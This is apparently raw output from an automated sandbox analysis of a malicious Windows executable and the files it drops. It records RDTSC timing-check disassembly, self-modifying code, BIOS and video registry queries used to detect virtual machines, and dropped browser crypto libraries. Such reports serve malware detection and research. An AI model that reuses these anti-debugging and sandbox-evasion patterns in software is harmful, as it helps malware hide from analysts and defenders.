Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C307BC second address: 4C30888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov bh, A4h 0x00000010 pop eax 0x00000011 movsx edx, si 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FD1807ED54Fh 0x0000001b nop 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD1807ED554h 0x00000023 sbb esi, 0BB028C8h 0x00000029 jmp 00007FD1807ED54Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 jmp 00007FD1807ED54Fh 0x00000035 pop eax 0x00000036 popad 0x00000037 sub esp, 1Ch 0x0000003a jmp 00007FD1807ED54Fh 0x0000003f xchg eax, ebx 0x00000040 jmp 00007FD1807ED556h 0x00000045 push eax 0x00000046 jmp 00007FD1807ED54Bh 0x0000004b xchg eax, ebx 0x0000004c jmp 00007FD1807ED556h 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FD1807ED557h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30888 second address: 4C30918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD180B5C15Fh 0x00000008 pop eax 0x00000009 mov bx, 048Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FD180B5C162h 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD180B5C15Eh 0x0000001e add ch, FFFFFFD8h 0x00000021 jmp 00007FD180B5C15Bh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007FD180B5C168h 0x0000002d sub cx, C238h 0x00000032 jmp 00007FD180B5C15Bh 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FD180B5C165h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30918 second address: 4C3098D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD1807ED54Bh 0x00000013 jmp 00007FD1807ED553h 0x00000018 popfd 0x00000019 jmp 00007FD1807ED558h 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 jmp 00007FD1807ED550h 0x00000025 mov eax, dword ptr [76FBB370h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD1807ED557h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C3098D second address: 4C309BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD180B5C15Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C309BC second address: 4C309C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C309C2 second address: 4C309C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C309C6 second address: 4C30A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d mov ebx, ecx 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007FD1807ED558h 0x00000016 push eax 0x00000017 jmp 00007FD1807ED54Bh 0x0000001c nop 0x0000001d jmp 00007FD1807ED556h 0x00000022 lea eax, dword ptr [ebp-10h] 0x00000025 pushad 0x00000026 movzx esi, dx 0x00000029 jmp 00007FD1807ED553h 0x0000002e popad 0x0000002f mov dword ptr fs:[00000000h], eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30A39 second address: 4C30A54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30A54 second address: 4C30A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007FD1807ED54Eh 0x00000011 mov eax, dword ptr [esi+10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD1807ED54Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30A93 second address: 4C30A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30A99 second address: 4C30ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov esi, 121E68CDh 0x00000011 jmp 00007FD1807ED54Ah 0x00000016 popad 0x00000017 jne 00007FD1F2A7C7ACh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD1807ED557h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30ADD second address: 4C30AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30AE3 second address: 4C30B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d pushad 0x0000000e movsx ebx, si 0x00000011 mov dx, cx 0x00000014 popad 0x00000015 mov dword ptr [ebp-20h], eax 0x00000018 jmp 00007FD1807ED558h 0x0000001d mov ebx, dword ptr [esi] 0x0000001f jmp 00007FD1807ED550h 0x00000024 mov dword ptr [ebp-24h], ebx 0x00000027 jmp 00007FD1807ED550h 0x0000002c test ebx, ebx 0x0000002e jmp 00007FD1807ED550h 0x00000033 je 00007FD1F2A7C673h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30B5C second address: 4C30B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30B60 second address: 4C30B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30B66 second address: 4C30BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp ebx, FFFFFFFFh 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD180B5C15Eh 0x00000013 or ecx, 4C458CF8h 0x00000019 jmp 00007FD180B5C15Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C300CF second address: 4C300D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C300D5 second address: 4C3010C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD180B5C166h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD180B5C15Ah 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503940 second address: 503944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503A9C second address: 503AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503AA2 second address: 503AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503AA8 second address: 503ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD180B5C166h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503ACB second address: 503AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503F03 second address: 503F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503F07 second address: 503F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503F10 second address: 503F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD180B5C162h 0x00000009 jnl 00007FD180B5C156h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD180B5C162h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 503F43 second address: 503F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FD1807ED546h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 50651C second address: 50658B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov si, dx 0x0000000f push 00000000h 0x00000011 and ch, 0000003Bh 0x00000014 push 943A65A8h 0x00000019 pushad 0x0000001a push ebx 0x0000001b jl 00007FD180B5C156h 0x00000021 pop ebx 0x00000022 push edx 0x00000023 jmp 00007FD180B5C164h 0x00000028 pop edx 0x00000029 popad 0x0000002a add dword ptr [esp], 6BC59AD8h 0x00000031 sub esi, 5594CB6Dh 0x00000037 push 00000003h 0x00000039 add dh, 0000000Dh 0x0000003c push 00000000h 0x0000003e mov ecx, dword ptr [ebp+122D2CC3h] 0x00000044 push 00000003h 0x00000046 pushad 0x00000047 cmc 0x00000048 mov ebx, dword ptr [ebp+122D2997h] 0x0000004e popad 0x0000004f push 499A4006h 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 50670F second address: 506713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506713 second address: 506736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD180B5C169h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506736 second address: 506759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506759 second address: 50675D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 50675D second address: 506761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506761 second address: 5067B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FD180B5C163h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FD180B5C162h 0x00000017 pop eax 0x00000018 mov edx, dword ptr [ebp+122D2C93h] 0x0000001e lea ebx, dword ptr [ebp+1245B3C8h] 0x00000024 jg 00007FD180B5C15Ch 0x0000002a push eax 0x0000002b push ebx 0x0000002c jnc 00007FD180B5C15Ch 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506826 second address: 5068AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007FD1807ED557h 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FD1807ED54Dh 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 call 00007FD1807ED54Fh 0x0000001e mov ecx, dword ptr [ebp+122D2A17h] 0x00000024 pop edi 0x00000025 mov esi, eax 0x00000027 popad 0x00000028 push 00000000h 0x0000002a mov ecx, eax 0x0000002c mov edx, dword ptr [ebp+122D2C5Fh] 0x00000032 call 00007FD1807ED549h 0x00000037 jmp 00007FD1807ED54Dh 0x0000003c push eax 0x0000003d jmp 00007FD1807ED54Eh 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 jmp 00007FD1807ED550h 0x0000004b mov eax, dword ptr [eax] 0x0000004d push eax 0x0000004e push edx 0x0000004f jnc 00007FD1807ED548h 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5068AF second address: 5068BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD180B5C156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5068BA second address: 50694D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jno 00007FD1807ED550h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FD1807ED548h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007FD1807ED548h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 pushad 0x00000049 mov edi, dword ptr [ebp+122D33EDh] 0x0000004f or dword ptr [ebp+122D3543h], edi 0x00000055 popad 0x00000056 mov ecx, dword ptr [ebp+122D2CCFh] 0x0000005c push 00000000h 0x0000005e or ecx, dword ptr [ebp+122D322Ch] 0x00000064 push 00000003h 0x00000066 jmp 00007FD1807ED551h 0x0000006b push B5C169CDh 0x00000070 push eax 0x00000071 push edx 0x00000072 push ecx 0x00000073 push ebx 0x00000074 pop ebx 0x00000075 pop ecx 0x00000076 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 50694D second address: 506953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506953 second address: 506957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 506957 second address: 5069B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 75C169CDh 0x00000012 call 00007FD180B5C15Bh 0x00000017 mov dl, bh 0x00000019 pop edi 0x0000001a lea ebx, dword ptr [ebp+1245B3D3h] 0x00000020 jng 00007FD180B5C15Ch 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD180B5C168h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5069B7 second address: 5069BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5069BD second address: 5069D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD180B5C15Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jl 00007FD180B5C156h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 527B79 second address: 527B84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 527B84 second address: 527B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD180B5C156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5263BB second address: 5263D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 5263D1 second address: 5263D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 526534 second address: 52653D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 52681F second address: 526825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: 52697A second address: 526984 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1807ED546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Special instruction interceptor: First address: 46DE32 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Special instruction interceptor: First address: 495BDC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Special instruction interceptor: First address: 475FCC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Special instruction interceptor: First address: 4FBE20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 52DE32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 555BDC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 535FCC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 5BBE20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Special instruction interceptor: First address: E4DE32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Special instruction interceptor: First address: E75BDC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Special instruction interceptor: First address: E55FCC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Special instruction interceptor: First address: EDBE20 instructions caused by: Self-modifying code
Source: C:\Users\userKFHCAEGCBF.exe	Special instruction interceptor: First address: C7EA4F instructions caused by: Self-modifying code
Source: C:\Users\userKFHCAEGCBF.exe	Special instruction interceptor: First address: C7C64E instructions caused by: Self-modifying code
Source: C:\Users\userKFHCAEGCBF.exe	Special instruction interceptor: First address: C7E993 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1CEA4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1CC64E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1CE993 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

Code function: 0_2_04C80CC5 rdtsc

0_2_04C80CC5

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1466	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 1642	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 812	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 499
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 1077
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 506
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Window / User API: threadDelayed 627

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

API coverage: 2.5 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7908	Thread sleep count: 56 > 30	Jump to behavior
